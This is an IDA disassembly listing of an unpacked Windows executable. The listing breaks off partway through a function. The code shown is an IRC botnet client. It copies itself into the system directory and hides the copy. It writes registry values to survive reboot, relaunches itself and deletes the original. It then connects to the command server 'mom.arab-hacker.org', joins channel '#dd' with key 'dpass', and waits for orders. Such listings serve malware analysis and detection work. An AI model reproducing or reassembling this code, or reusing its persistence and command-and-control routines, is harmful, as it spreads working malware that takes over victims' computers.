;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	3E4EA5CA9ADAC8242C139F5E6661D22A

; File Name   :	u:\work\3e4ea5ca9adac8242c139f5e6661d22a_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000DA000 ( 892928.)
; Section size in file		: 000DA000 ( 892928.)
; Offset to raw	data for section: 00001000
; Flags	F0000060: Text Data Shareable Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_nsp0		segment	para public 'CODE' use32
		assume cs:_nsp0
		;org 401000h
		assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: sub_401221+355p
					; sub_41542E+1Ep
					; DATA XREF: ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_425050
		xor	esi, esi
		mov	ebx, offset dword_425104


loc_401013:				; CODE XREF: sub_401000+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_4C97B8	; RegCreateKeyExA
		cmp	[ebp+arg_0], esi
		jz	short loc_40104D
		push	[ebp+arg_0]
		call	sub_4176F0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_4C9824	; RegSetValueExA
		jmp	short loc_401057
; ---------------------------------------------------------------------------


loc_40104D:				; CODE XREF: sub_401000+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_4C9770	; RegDeleteValueA


loc_401057:				; CODE XREF: sub_401000+4Bj
		push	[ebp+var_4]
		call	dword_4C97DC	; RegCloseKey
		add	edi, 8
		cmp	edi, offset dword_425068
		jl	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401070	proc near		; CODE XREF: sub_4010AB+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010A5
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_401089:				; CODE XREF: sub_401070+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_423220[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401089
		pop	edi
		pop	ebx


loc_4010A5:				; CODE XREF: sub_401070+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401070	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010AB	proc near		; CODE XREF: sub_413F23+24Ap

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_417A2B
		mov	[esp+10h+var_10], offset dword_425068
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_417A18
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4010FA


loc_4010D0:				; CODE XREF: sub_4010AB+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_4010FE
		inc	ebx
		push	ebx
		push	esi
		call	sub_4178D8
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010FA
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_4177F0
		add	esp, 10h
		jmp	short loc_4010D0
; ---------------------------------------------------------------------------


loc_4010FA:				; CODE XREF: sub_4010AB+23j
					; sub_4010AB+39j
		xor	eax, eax
		jmp	short loc_401119
; ---------------------------------------------------------------------------


loc_4010FE:				; CODE XREF: sub_4010AB+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_401070
		push	esi
		mov	ebx, eax
		call	sub_4177C1
		push	edi
		call	sub_41776B
		add	esp, 10h
		mov	eax, ebx


loc_401119:				; CODE XREF: sub_4010AB+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40111D	proc near		; DATA XREF: sub_401221+14o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_43C74C
		call	dword_4C9894	; closesocket
		call	sub_40A3CC
		call	dword_4C9764	; WSACleanup
		call	dword_4C9764	; WSACleanup
		mov	ebx, dword_423078
		push	64h
		call	ebx	; Sleep
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417AA0
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_417AA0
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset byte_43B9B8
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	dword_423074	; GetSystemDirectoryA
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		call	dword_423070	; GetModuleFileNameA
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	dword_42306C	; CreateProcessA
		test	eax, eax
		jz	short loc_4011E2
		push	64h
		call	ebx	; Sleep
		push	[ebp+var_10]
		mov	esi, dword_423068
		call	esi	; CloseHandle
		push	[ebp+var_C]
		call	esi	; CloseHandle


loc_4011E2:				; CODE XREF: sub_40111D+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43B9B0
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	dword_423064	; ExitProcess
		pop	edi
		pop	esi
		pop	ebx


loc_401205:				; DATA XREF: .nsp0:00425004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_415759
		pop	ecx
		mov	dword_4C9540, eax
		pop	ecx
		retn
sub_40111D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401221	proc near		; CODE XREF: sub_419C83+C9p

var_988		= byte ptr -988h
var_884		= byte ptr -884h
var_883		= byte ptr -883h
var_6F4		= byte ptr -6F4h
var_5F4		= byte ptr -5F4h
var_4F0		= byte ptr -4F0h
var_3F0		= byte ptr -3F0h
var_2EC		= byte ptr -2ECh
var_1E8		= byte ptr -1E8h
var_E4		= dword	ptr -0E4h
var_D8		= dword	ptr -0D8h
var_B8		= dword	ptr -0B8h
var_B4		= word ptr -0B4h
var_A0		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], offset sub_40111D
		push	[ebp+var_4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4230A8
		call	esi	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4C9544, eax
		call	esi	; GetTickCount
		push	eax
		call	sub_417DE8
		pop	ecx
		call	sub_408CF8
		push	2
		call	dword_4C98A8	; SetErrorMode
		push	7530h
		push	offset aK3ysxc	; "k3ysxc"
		push	ebx
		push	ebx
		call	dword_4230A4	; CreateMutexA
		push	eax
		call	dword_4230A0	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_4012A1
		push	1
		call	dword_423064	; ExitProcess


loc_4012A1:				; CODE XREF: sub_401221+76j
		lea	eax, [ebp+var_884]
		push	eax
		push	202h
		call	dword_4C977C	; WSAStartup
		cmp	eax, ebx
		jnz	loc_4017DE
		cmp	[ebp+var_884], 2
		jnz	loc_4017D8
		xor	eax, eax
		mov	al, [ebp+var_883]
		cmp	al, 2
		jnz	loc_4017D8
		mov	esi, 104h
		lea	eax, [ebp+var_3F0]
		push	esi
		push	eax
		call	dword_423074	; GetSystemDirectoryA
		lea	eax, [ebp+var_2EC]
		push	esi
		push	eax
		push	ebx
		call	dword_42309C	; GetModuleHandleA
		push	eax
		call	dword_423070	; GetModuleFileNameA
		lea	eax, [ebp+var_4F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		push	ebx
		lea	eax, [ebp+var_2EC]
		push	ebx
		push	eax
		call	sub_417EE1
		lea	eax, [ebp+var_4F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		push	offset dword_42C204
		lea	eax, [ebp+var_5F4]
		push	esi
		push	eax
		call	sub_417E90
		lea	eax, [ebp+var_3F0]
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		call	sub_417E10
		add	esp, 30h
		test	eax, eax
		jnz	loc_401513
		cmp	dword_4C96B0, ebx
		mov	esi, offset byte_4250E4
		jz	short loc_401399
		push	esi
		xor	edi, edi
		call	sub_4176F0
		sub	eax, 4
		pop	ecx
		jz	short loc_401399


loc_401376:				; CODE XREF: sub_401221+176j
		call	sub_417DF2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_4250E4[edi], dl
		inc	edi
		call	sub_4176F0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401376


loc_401399:				; CODE XREF: sub_401221+145j
					; sub_401221+153j
		lea	eax, [ebp+var_3F0]
		push	esi
		push	eax
		lea	eax, [ebp+var_1E8]
		push	offset dword_42C1FC
		push	eax
		call	sub_417D96
		add	esp, 10h
		lea	eax, [ebp+var_1E8]
		push	eax
		call	dword_423098	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013D9
		lea	eax, [ebp+var_1E8]
		push	80h
		push	eax
		call	dword_423094	; SetFileAttributesA


loc_4013D9:				; CODE XREF: sub_401221+1A4j
		mov	esi, dword_423090
		lea	eax, [ebp+var_1E8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_2EC]
		xor	edi, edi
		push	eax


loc_4013F0:				; CODE XREF: sub_401221+206j
		call	esi	; CopyFileA
		test	eax, eax
		jnz	short loc_401429
		call	dword_42308C	; RtlGetLastWin32Error
		cmp	edi, ebx
		jnz	short loc_401429
		cmp	eax, 20h
		jz	short loc_40140A
		cmp	eax, 5
		jnz	short loc_401429


loc_40140A:				; CODE XREF: sub_401221+1E2j
		push	1
		pop	edi
		push	3A98h
		call	dword_423078	; Sleep
		lea	eax, [ebp+var_1E8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		jmp	short loc_4013F0
; ---------------------------------------------------------------------------


loc_401429:				; CODE XREF: sub_401221+1D3j
					; sub_401221+1DDj ...
		lea	eax, [ebp+var_1E8]
		push	eax
		call	sub_415368
		pop	ecx
		lea	eax, [ebp+var_1E8]
		push	7
		push	eax
		call	dword_423094	; SetFileAttributesA
		push	10h
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		call	sub_417AA0
		push	44h
		lea	eax, [ebp+var_E4]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_417AA0
		add	esp, 18h
		mov	[ebp+var_E4], esi
		mov	[ebp+var_D8], offset byte_43B9B8
		mov	[ebp+var_B4], bx
		push	1
		pop	esi
		mov	[ebp+var_B8], esi
		call	dword_423088	; GetCurrentProcessId
		push	eax
		push	esi
		push	100000h
		call	dword_423084	; OpenProcess
		lea	ecx, [ebp+var_2EC]
		push	ecx
		push	eax
		lea	eax, [ebp+var_1E8]
		push	eax
		lea	eax, [ebp+var_988]
		push	offset dword_42C1F0
		push	eax
		call	sub_417D96
		add	esp, 14h
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_3F0]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp+var_988]
		push	ebx
		push	eax
		lea	eax, [ebp+var_1E8]
		push	eax
		call	dword_42306C	; CreateProcessA
		test	eax, eax
		jz	short loc_401513
		push	0C8h
		call	dword_423078	; Sleep
		push	[ebp+var_20]
		mov	esi, dword_423068
		call	esi	; CloseHandle
		push	[ebp+var_1C]
		call	esi	; CloseHandle
		call	dword_4C9764	; WSACleanup
		push	ebx
		call	dword_423064	; ExitProcess


loc_401513:				; CODE XREF: sub_401221+134j
					; sub_401221+2C8j
		cmp	dword_4D86EC, 2
		jle	short loc_40155F
		mov	eax, dword_4D86F0
		push	dword ptr [eax+4]
		call	sub_417C89
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		call	dword_4230A0	; WaitForSingleObject
		push	esi
		call	dword_423068	; CloseHandle
		mov	eax, dword_4D86F0
		cmp	[eax+8], ebx
		jz	short loc_40155F
		push	7D0h
		call	dword_423078	; Sleep
		mov	eax, dword_4D86F0
		push	dword ptr [eax+8]
		call	dword_423080	; DeleteFileA


loc_40155F:				; CODE XREF: sub_401221+2F9j
					; sub_401221+323j
		cmp	dword_42508C, ebx
		jz	short loc_40157C
		cmp	dword_4C98CC, ebx
		jnz	short loc_40157C
		lea	eax, [ebp+var_5F4]
		push	eax
		call	sub_401000
		pop	ecx


loc_40157C:				; CODE XREF: sub_401221+344j
					; sub_401221+34Cj
		lea	eax, [ebp+var_A0]
		push	offset dword_42C1D4
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_40A203
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_413B5E
		push	0B80h
		push	ebx
		push	offset dword_43B9C0
		call	sub_417AA0
		lea	eax, [ebp+var_A0]
		push	offset unk_42C1B0
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_A0]
		push	1
		push	eax
		call	sub_40A203
		add	esp, 38h
		mov	esi, eax
		mov	edi, dword_42307C
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		push	ebx
		push	offset sub_416A5E
		push	ebx
		push	ebx
		call	edi	; CreateThread
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43C754[esi], eax
		jnz	short loc_40161C
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_A0]
		push	offset unk_42C170
		push	eax
		call	sub_417D96
		add	esp, 0Ch


loc_40161C:				; CODE XREF: sub_401221+3DEj
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_413B5E
		push	2
		call	sub_40A44B
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4016A1
		lea	eax, [ebp+var_A0]
		push	offset dword_42C144
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40A203
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		push	esi
		push	offset sub_40F2F7
		push	ebx
		push	ebx
		call	edi	; CreateThread
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43C754[esi], eax
		jnz	short loc_401694
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_A0]
		push	offset dword_42C110
		push	eax
		call	sub_417D96
		add	esp, 0Ch


loc_401694:				; CODE XREF: sub_401221+456j
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_413B5E
		pop	ecx


loc_4016A1:				; CODE XREF: sub_401221+412j
		call	sub_417DF2
		push	7Fh
		and	eax, 3
		push	offset aMom_arabHacker ; "mom.arab-hacker.org"
		push	offset dword_4C954C
		mov	dword_4C96C8, eax
		call	sub_417B00
		mov	eax, dword_42506C
		push	3Fh
		mov	edi, offset dword_4C95CC
		push	offset aDd	; "#dd"
		push	edi
		mov	dword_4C969C, eax
		call	sub_417B00
		push	3Fh
		mov	esi, offset dword_4C960C
		push	offset aDpass	; "dpass"
		push	esi
		call	sub_417B00
		add	esp, 24h
		mov	dword_4C96A0, ebx


loc_4016F6:				; CODE XREF: sub_401221+55Dj
					; sub_401221+568j ...
		mov	[ebp+var_4], ebx


loc_4016F9:				; CODE XREF: sub_401221+511j
		push	offset dword_4C9548
		mov	dword_4C96C4, ebx
		call	sub_4017E7
		cmp	eax, 2
		mov	[ebp+var_10], eax
		jz	loc_4017D3
		cmp	dword_4C96C4, ebx
		jz	short loc_401720
		dec	[ebp+var_4]


loc_401720:				; CODE XREF: sub_401221+4FAj
		push	0BB8h
		call	dword_423078	; Sleep
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 6
		jl	short loc_4016F9
		cmp	[ebp+var_10], 2
		jz	loc_4017D3
		cmp	[ebp+var_C], ebx
		jz	short loc_401783
		push	7Fh
		push	offset aMom_arabHacker ; "mom.arab-hacker.org"
		push	offset dword_4C954C
		call	sub_417B00
		mov	eax, dword_42506C
		push	3Fh
		push	offset aDd	; "#dd"
		push	edi
		mov	dword_4C969C, eax
		call	sub_417B00
		push	3Fh
		push	offset aDpass	; "dpass"
		push	esi
		call	sub_417B00
		add	esp, 24h
		mov	[ebp+var_C], ebx
		jmp	loc_4016F6
; ---------------------------------------------------------------------------


loc_401783:				; CODE XREF: sub_401221+520j
		cmp	byte_4C96B8, bl
		jz	loc_4016F6
		push	7Fh
		push	offset byte_4C96B8
		push	offset dword_4C954C
		call	sub_417B00
		mov	eax, dword_425070
		push	3Fh
		push	offset dword_4C96BC
		push	edi
		mov	dword_4C969C, eax
		call	sub_417B00
		push	3Fh
		push	offset dword_4C96C0
		push	esi
		call	sub_417B00
		add	esp, 24h
		mov	[ebp+var_C], 1
		jmp	loc_4016F6
; ---------------------------------------------------------------------------


loc_4017D3:				; CODE XREF: sub_401221+4EEj
					; sub_401221+517j
		call	sub_40A3CC


loc_4017D8:				; CODE XREF: sub_401221+A1j
					; sub_401221+B1j
		call	dword_4C9764	; WSACleanup


loc_4017DE:				; CODE XREF: sub_401221+94j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h
sub_401221	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017E7	proc near		; CODE XREF: sub_401221+4E3p
					; DATA XREF: sub_401AC7+5D53o

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_40180C:				; CODE XREF: sub_4017E7+E6j
					; sub_4017E7+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_4C9800	; htons
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_409C07
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_401939
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_417AA0
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_42509C
		push	dword_425098
		push	eax
		call	sub_40A19A
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_43C758
		push	edi
		push	eax
		call	sub_417B00
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4C987C	; socket
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_43C74C[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4C97AC	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4018D2
		push	esi
		call	dword_4C9894	; closesocket
		call	sub_409C30
		push	7D0h


loc_4018C7:				; CODE XREF: sub_4017E7+146j
		call	dword_423078	; Sleep
		jmp	loc_40180C
; ---------------------------------------------------------------------------


loc_4018D2:				; CODE XREF: sub_4017E7+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_42C20C
		call	sub_413BD2
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_40194F
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4C9894	; closesocket
		test	edi, edi
		jz	loc_40180C
		cmp	edi, 1
		jnz	short loc_40192F
		push	0DBBA0h
		jmp	short loc_4018C7
; ---------------------------------------------------------------------------


loc_40192F:				; CODE XREF: sub_4017E7+13Fj
		cmp	edi, 2
		jz	short loc_40193D
		jmp	loc_40180C
; ---------------------------------------------------------------------------


loc_401939:				; CODE XREF: sub_4017E7+5Aj
		xor	eax, eax
		jmp	short loc_401949
; ---------------------------------------------------------------------------


loc_40193D:				; CODE XREF: sub_4017E7+14Bj
		push	[ebp+var_34]
		call	sub_40A51F
		pop	ecx
		push	2
		pop	eax


loc_401949:				; CODE XREF: sub_4017E7+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4017E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40194F	proc near		; CODE XREF: sub_4017E7+123p

var_1A90	= byte ptr -1A90h
var_A90		= byte ptr -0A90h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	sub_418030
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx


loc_40196D:				; CODE XREF: sub_40194F+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_40196D
		cmp	byte_4C96B4, bl
		jz	short loc_401994
		push	offset byte_4C96B4
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_408C17
		add	esp, 0Ch


loc_401994:				; CODE XREF: sub_40194F+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40A19A
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_417D96
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4C984C	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4019FE
		push	[ebp+arg_0]
		call	dword_4C9894	; closesocket
		push	1388h
		call	dword_423078	; Sleep


loc_4019F7:				; CODE XREF: sub_40194F+D9j
					; sub_40194F+153j
		xor	eax, eax


loc_4019F9:				; CODE XREF: sub_40194F+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4019FE:				; CODE XREF: sub_40194F+92j
					; sub_40194F+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A90]
		push	esi
		push	ebx
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		lea	eax, [ebp+var_1A90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4C9818	; recv
		test	eax, eax
		jle	short loc_4019F7
		lea	eax, [ebp+var_A90]
		push	eax
		lea	eax, [ebp+var_1A90]
		push	eax
		call	sub_415054
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_4019FE
		lea	edi, [ebp+var_A90]


loc_401A4F:				; CODE XREF: sub_40194F+165j
		push	1
		pop	esi


loc_401A52:				; CODE XREF: sub_40194F+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_401AC7
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401A95
		push	7D0h
		call	dword_423078	; Sleep
		jmp	short loc_401A52
; ---------------------------------------------------------------------------


loc_401A95:				; CODE XREF: sub_40194F+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401ABF
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401ABB
		cmp	esi, 0FFFFFFFFh
		jz	loc_4019F7
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401A4F
		jmp	loc_4019FE
; ---------------------------------------------------------------------------


loc_401ABB:				; CODE XREF: sub_40194F+14Ej
		push	1
		jmp	short loc_401AC1
; ---------------------------------------------------------------------------


loc_401ABF:				; CODE XREF: sub_40194F+149j
		push	2


loc_401AC1:				; CODE XREF: sub_40194F+16Ej
		pop	eax
		jmp	loc_4019F9
sub_40194F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401AC7	proc near		; CODE XREF: sub_40194F+12Ap

var_4AE8	= byte ptr -4AE8h
var_46E8	= byte ptr -46E8h
var_4558	= byte ptr -4558h
var_4454	= byte ptr -4454h
var_4350	= byte ptr -4350h
var_4250	= byte ptr -4250h
var_4150	= byte ptr -4150h
var_4050	= byte ptr -4050h
var_3F4C	= byte ptr -3F4Ch
var_3E4C	= byte ptr -3E4Ch
var_3C4C	= byte ptr -3C4Ch
var_3B4C	= byte ptr -3B4Ch
var_3A4C	= byte ptr -3A4Ch
var_39E8	= byte ptr -39E8h
var_37E8	= byte ptr -37E8h
var_36E8	= byte ptr -36E8h
var_35E8	= byte ptr -35E8h
var_34E8	= byte ptr -34E8h
var_33E8	= dword	ptr -33E8h
var_33E4	= dword	ptr -33E4h
var_33E0	= byte ptr -33E0h
var_3360	= byte ptr -3360h
var_32E0	= byte ptr -32E0h
var_3260	= byte ptr -3260h
var_31E0	= byte ptr -31E0h
var_3160	= dword	ptr -3160h
var_315C	= dword	ptr -315Ch
var_3158	= dword	ptr -3158h
var_3154	= dword	ptr -3154h
var_3150	= byte ptr -3150h
var_2EC9	= byte ptr -2EC9h
var_2EC8	= byte ptr -2EC8h
var_2DC4	= dword	ptr -2DC4h
var_2DBC	= dword	ptr -2DBCh
var_2DB8	= dword	ptr -2DB8h
var_2DB4	= dword	ptr -2DB4h
var_2DB0	= dword	ptr -2DB0h
var_2DA8	= dword	ptr -2DA8h
var_2DA4	= dword	ptr -2DA4h
var_2DA0	= byte ptr -2DA0h
var_2D20	= byte ptr -2D20h
var_2CA0	= byte ptr -2CA0h
var_2C20	= byte ptr -2C20h
var_2BA0	= dword	ptr -2BA0h
var_2B9C	= dword	ptr -2B9Ch
var_2B98	= dword	ptr -2B98h
var_2B94	= dword	ptr -2B94h
var_2B90	= dword	ptr -2B90h
var_2B8C	= byte ptr -2B8Ch
var_2B0C	= byte ptr -2B0Ch
var_2A8C	= byte ptr -2A8Ch
var_2A0C	= byte ptr -2A0Ch
var_298C	= dword	ptr -298Ch
var_2988	= dword	ptr -2988h
var_2984	= dword	ptr -2984h
var_2980	= dword	ptr -2980h
var_297C	= dword	ptr -297Ch
var_2978	= byte ptr -2978h
var_28F8	= byte ptr -28F8h
